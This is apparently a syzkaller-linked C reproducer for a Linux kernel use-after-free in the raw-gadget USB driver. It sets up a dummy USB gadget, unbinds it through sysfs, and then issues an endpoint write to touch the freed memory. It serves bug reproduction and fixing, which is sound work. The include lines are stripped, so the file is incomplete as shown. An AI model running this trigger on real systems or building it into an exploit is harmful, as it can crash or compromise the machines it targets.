// https://syzkaller.appspot.com/bug?id=d4c69e884538d43cc946785d621314039a1ed491 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define UDC_NAME_LENGTH_MAX 128 struct usb_raw_init { __u8 driver_name[UDC_NAME_LENGTH_MAX]; __u8 device_name[UDC_NAME_LENGTH_MAX]; __u8 speed; }; struct usb_raw_ep_io { __u16 ep; __u16 flags; __u32 length; __u8 data[]; }; #define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init) #define USB_RAW_IOCTL_RUN _IO('U', 1) #define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor) #define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io) int main(void) { int fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno)); exit(1); } printf("[+] Opened /dev/raw-gadget.\n"); struct usb_raw_init init = {0}; strcpy((char *)init.driver_name, "dummy_udc"); strcpy((char *)init.device_name, "dummy_udc.0"); init.speed = 3; // USB_SPEED_HIGH if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) { printf("[-] Failed to ioctl INIT: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl INIT successful.\n"); if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) { printf("[-] Failed to ioctl RUN: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl RUN successful.\n"); struct usb_endpoint_descriptor desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_IN | 1, // IN .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = htole16(512), .bInterval = 0, }; // Wait for the gadget to bind and enable the endpoint int ep_idx = -1; for (int i = 0; i < 100; i++) { ep_idx = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &desc); if (ep_idx >= 0) break; usleep(10000); } if (ep_idx < 0) { printf("[-] Failed to enable endpoint: %s\n", strerror(errno)); exit(1); } printf("[+] Endpoint enabled, idx: %d.\n", ep_idx); // Unbind dummy_udc.0 to free the gadget and its name string int sysfs_fd = open("/sys/bus/platform/drivers/dummy_udc/unbind", O_WRONLY); if (sysfs_fd < 0) { printf("[-] Failed to open unbind: %s\n", strerror(errno)); exit(1); } printf("[+] Opened unbind file.\n"); if (write(sysfs_fd, "dummy_udc.0", strlen("dummy_udc.0")) < 0) { printf("[-] Failed to write to unbind: %s\n", strerror(errno)); } else { printf("[+] Wrote to unbind successful.\n"); } close(sysfs_fd); // Give the kernel a moment to finish the unbind and kfree sleep(1); // Trigger the UAF via dev_err(&dev->gadget->dev, ...) struct { struct usb_raw_ep_io io; __u8 data[1]; } write_req = { .io = { .ep = ep_idx, .flags = 0, .length = 1, }, .data = { 0 }, }; printf("[*] Triggering UAF with EP_WRITE...\n"); int res = ioctl(fd, USB_RAW_IOCTL_EP_WRITE, &write_req); if (res < 0) { printf("[-] EP_WRITE returned error: %s\n", strerror(errno)); } else { printf("[+] EP_WRITE successful (unexpected).\n"); } close(fd); return 0; }